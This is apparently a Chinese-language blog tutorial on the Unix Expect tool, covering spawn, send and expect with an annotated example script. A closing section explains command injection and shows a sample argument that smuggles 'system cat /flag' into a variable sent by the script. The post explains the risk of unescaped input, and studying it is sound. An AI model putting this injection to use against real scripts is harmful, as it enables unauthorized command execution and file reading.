基础知识
Expect 是 Unix 系统中用来进行自动化控制和测试的软件工具 , 作为 Tcl 脚本语言的一个扩展,应用在交互式软件中
- spawn命令启动新的进程来进行交互式的运行,spawn后的send和expect命令都是和spawn打开的进程进行交互的。
- send命令接收一个字符串参数,并将该参数发送到进程。
- expect命令等待一个进程的反馈,支持正规表达式并能同时等待多个字符串,并对每一个字符串执行不同的操作。expect还能理解一些特殊情况,如超时和遇到文件尾。
当使用交互式expect命令send密码的场景下,当未对外部输入数据进行转义校验时,可能存在命令注入的风险
expect工作原理
spawn
启动指定进程—expect
获取指定关键字—send
向指定程序发送指定字符—执行完成退出。
简单实例
[root@localhost ~]# vim test.sh => 一般将expect脚本的后缀命名为".sh"
#!/usr/bin/expect => expect的解析器,与shell中的#!/bin/bash类似
set timeout n => 设置超时时间n秒,表示下面的代码需在n秒钟内完成(-1代表永不超时),如果超过,则退出。用来防止ssh远程主机网络不可达时卡住及在远程主机执行命令宕住
set name "12345" => set设置变量,name的值为123456
spawn command1 command2.. => 执行命令,也可以将变量作为命令输入
expect{ => 接受执行命令返回的信息
"accept1" {send "instruction1\r"; exp_continue} => 匹配到accest1,发送instruction1 指令并且\r 回车执行
"accept2" {send "instruction2\r"; exp_continue} => 匹配到accest2,发送instruction2 指令并且\r 回车执行,exp_continue表示循环匹配
"accept3" {send "\r"; exp_continue} => 匹配到accept3表示直接回车执行
"accept4" {send "$name\r"} => 匹配到accept4,将变量值作为指令,并且回车执行
}
expect eof =>结束这个进程
expect命令注入
[root@localhost ~]# ./test.sh 123456";system cat /flag;"
#!/usr/bin/expect
set timeout n
set name $1 => 当name的值由外部输入攻击者可控时
spawn command1 command2..
expect{
"accept1" {send "instruction1\r"; exp_continue}
"accept2" {send "instruction2\r"; exp_continue}
"accept3" {send "\r"; exp_continue}
"accept4" {send "$name\r"} => 匹配到accept4,将变量值作为指令,执行外部传入的命令-{send "123456";system cat /flag;"\r"}
}
expect eof
标签:spawn,name,send,命令,continue,expect,exp,注入 From: https://www.cnblogs.com/snad/p/17570779.html